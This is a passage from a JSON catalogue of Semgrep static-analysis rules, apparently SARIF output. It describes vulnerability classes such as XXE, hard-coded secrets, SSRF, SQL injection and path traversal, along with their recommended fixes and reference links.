Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxbuilder-xxe.saxbuilder-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxbuilder-xxe.saxbuilder-xxe","id":"kotlin.xxe.saxbuilder-xxe.saxbuilder-xxe","name":"kotlin.xxe.saxbuilder-xxe.saxbuilder-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxbuilder-xxe.saxbuilder-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.rabbit-hardcoded-secret.rabbit-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.rabbit-hardcoded-secret.rabbit-hardcoded-secret","id":"swift.cryptoswift.rabbit-hardcoded-secret.rabbit-hardcoded-secret","name":"swift.cryptoswift.rabbit-hardcoded-secret.rabbit-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.rabbit-hardcoded-secret.rabbit-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"File name based on user input risks server-side request forgery."},"help":{"markdown":"File name based on user input risks server-side request forgery.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-filename.tainted-filename)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"File name based on user input risks server-side request forgery."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-filename.tainted-filename","id":"php.lang.security.injection.tainted-filename.tainted-filename","name":"php.lang.security.injection.tainted-filename.tainted-filename","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-filename.tainted-filename"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedis-jedisclientconfig-hardcoded-password.jedis-jedisclientconfig-hardcoded-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedis-jedisclientconfig-hardcoded-password.jedis-jedisclientconfig-hardcoded-password","id":"java.jedis.secrets.jedis-jedisclientconfig-hardcoded-password.jedis-jedisclientconfig-hardcoded-password","name":"java.jedis.secrets.jedis-jedisclientconfig-hardcoded-password.jedis-jedisclientconfig-hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedis-jedisclientconfig-hardcoded-password.jedis-jedisclientconfig-hardcoded-password"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The libxml2 parser is configured to process entities. Without other options such as processing DTDs or accessing remote entities from the network, it should not pose a risk except for memory exhaustion."},"help":{"markdown":"The libxml2 parser is configured to process entities. Without other options such as processing DTDs or accessing remote entities from the network, it should not pose a risk except for memory exhaustion.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-local-entities.libxml2-expand-local-entities)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"The libxml2 parser is configured to process entities. Without other options such as processing DTDs or accessing remote entities from the network, it should not pose a risk except for memory exhaustion."},"helpUri":"https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-local-entities.libxml2-expand-local-entities","id":"cpp.libxml2.security.libxml2-expand-local-entities.libxml2-expand-local-entities","name":"cpp.libxml2.security.libxml2-expand-local-entities.libxml2-expand-local-entities","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.libxml2.security.libxml2-expand-local-entities.libxml2-expand-local-entities"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.sql.tokio-postgres-taint.tokio-postgres-taint)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.hyper.sql.tokio-postgres-taint.tokio-postgres-taint","id":"rust.hyper.sql.tokio-postgres-taint.tokio-postgres-taint","name":"rust.hyper.sql.tokio-postgres-taint.tokio-postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.sql.tokio-postgres-taint.tokio-postgres-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected file permissions that are overly permissive (read, write, and execute). It is generally a bad practices to set overly permissive file permission such as read+write+exec for all users. If the file affected is a configuration, a binary, a script or sensitive data, it can lead to privilege escalation or information leakage. Instead, follow the principle of least privilege and give users only the  permissions they need."},"help":{"markdown":"Detected file permissions that are overly permissive (read, write, and execute). It is generally a bad practices to set overly permissive file permission such as read+write+exec for all users. If the file affected is a configuration, a binary, a script or sensitive data, it can lead to privilege escalation or information leakage. Instead, follow the principle of least privilege and give users only the  permissions they need.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.overly-permissive-file-permission.overly-permissive-file-permission)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Detected file permissions that are overly permissive (read, write, and execute). It is generally a bad practices to set overly permissive file permission such as read+write+exec for all users. If the file affected is a configuration, a binary, a script or sensitive data, it can lead to privilege escalation or information leakage. Instead, follow the principle of least privilege and give users only the  permissions they need."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.overly-permissive-file-permission.overly-permissive-file-permission","id":"java.lang.security.audit.overly-permissive-file-permission.overly-permissive-file-permission","name":"java.lang.security.audit.overly-permissive-file-permission.overly-permissive-file-permission","properties":{"precision":"very-high","tags":["CWE-276: Incorrect Default Permissions","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.overly-permissive-file-permission.overly-permissive-file-permission"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.file.tainted-path-traversal-stdlib.tainted-path-traversal-stdlib)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.lang.file.tainted-path-traversal-stdlib.tainted-path-traversal-stdlib","id":"python.lang.file.tainted-path-traversal-stdlib.tainted-path-traversal-stdlib","name":"python.lang.file.tainted-path-traversal-stdlib.tainted-path-traversal-stdlib","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.file.tainted-path-traversal-stdlib.tainted-path-traversal-stdlib"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-pgx-sqli-taint-med-conf.grpc-pgx-sqli-taint-med-conf)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-pgx-sqli-taint-med-conf.grpc-pgx-sqli-taint-med-conf","id":"go.grpc.sql.grpc-pgx-sqli-taint-med-conf.grpc-pgx-sqli-taint-med-conf","name":"go.grpc.sql.grpc-pgx-sqli-taint-med-conf.grpc-pgx-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-pgx-sqli-taint-med-conf.grpc-pgx-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If possible, it is better to rely on automatic pinning in PyTorch to avoid undefined behavior and for efficiency"},"help":{"markdown":"If possible, it is better to rely on automatic pinning in PyTorch to avoid undefined behavior and for efficiency\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.automatic-memory-pinning.automatic-memory-pinning)\n - [https://pytorch.org/docs/stable/data.html#memory-pinning](https://pytorch.org/docs/stable/data.html#memory-pinning)\n","text":"If possible, it is better to rely on automatic pinning in PyTorch to avoid undefined behavior and for efficiency"},"helpUri":"https://semgrep.dev/r/trailofbits.python.automatic-memory-pinning.automatic-memory-pinning","id":"trailofbits.python.automatic-memory-pinning.automatic-memory-pinning","name":"trailofbits.python.automatic-memory-pinning.automatic-memory-pinning","properties":{"precision":"very-high","tags":["CWE-676: Use of Potentially Dangerous Function","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.automatic-memory-pinning.automatic-memory-pinning"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Iteration over a possibly empty map `$C`. This is likely a bug or redundant code"},"help":{"markdown":"Iteration over a possibly empty map `$C`. This is likely a bug or redundant code\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.iterate-over-empty-map.iterate-over-empty-map)\n - [https://blog.trailofbits.com/2019/11/07/attacking-go-vr-ttps/](https://blog.trailofbits.com/2019/11/07/attacking-go-vr-ttps/)\n","text":"Iteration over a possibly empty map `$C`. This is likely a bug or redundant code"},"helpUri":"https://semgrep.dev/r/trailofbits.go.iterate-over-empty-map.iterate-over-empty-map","id":"trailofbits.go.iterate-over-empty-map.iterate-over-empty-map","name":"trailofbits.go.iterate-over-empty-map.iterate-over-empty-map","properties":{"precision":"very-high","tags":["CWE-665: Improper Initialization","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.iterate-over-empty-map.iterate-over-empty-map"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-url-host.tainted-url-host","id":"php.lang.security.injection.tainted-url-host.tainted-url-host","name":"php.lang.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.nosql.mongodb-taint.mongodb-taint)\n - [https://docs.rs/mongodb/latest/mongodb/](https://docs.rs/mongodb/latest/mongodb/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/rust.actix.nosql.mongodb-taint.mongodb-taint","id":"rust.actix.nosql.mongodb-taint.mongodb-taint","name":"rust.actix.nosql.mongodb-taint.mongodb-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.nosql.mongodb-taint.mongodb-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-httplib2.tainted-flask-http-request-httplib2)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-httplib2.tainted-flask-http-request-httplib2","id":"python.flask.net.tainted-flask-http-request-httplib2.tainted-flask-http-request-httplib2","name":"python.flask.net.tainted-flask-http-request-httplib2.tainted-flask-http-request-httplib2","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-httplib2.tainted-flask-http-request-httplib2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Dangerous client config used, ensure SSL verification"},"help":{"markdown":"Dangerous client config used, ensure SSL verification\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.lang.security.rustls-dangerous.rustls-dangerous)\n - [https://docs.rs/rustls/latest/rustls/client/struct.DangerousClientConfig.html](https://docs.rs/rustls/latest/rustls/client/struct.DangerousClientConfig.html)\n - [https://docs.rs/rustls/latest/rustls/client/struct.ClientConfig.html#method.dangerous](https://docs.rs/rustls/latest/rustls/client/struct.ClientConfig.html#method.dangerous)\n","text":"Dangerous client config used, ensure SSL verification"},"helpUri":"https://semgrep.dev/r/rust.lang.security.rustls-dangerous.rustls-dangerous","id":"rust.lang.security.rustls-dangerous.rustls-dangerous","name":"rust.lang.security.rustls-dangerous.rustls-dangerous","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: rust.lang.security.rustls-dangerous.rustls-dangerous"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handeling security in the implementation of you EntityResolver. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handeling security in the implementation of you 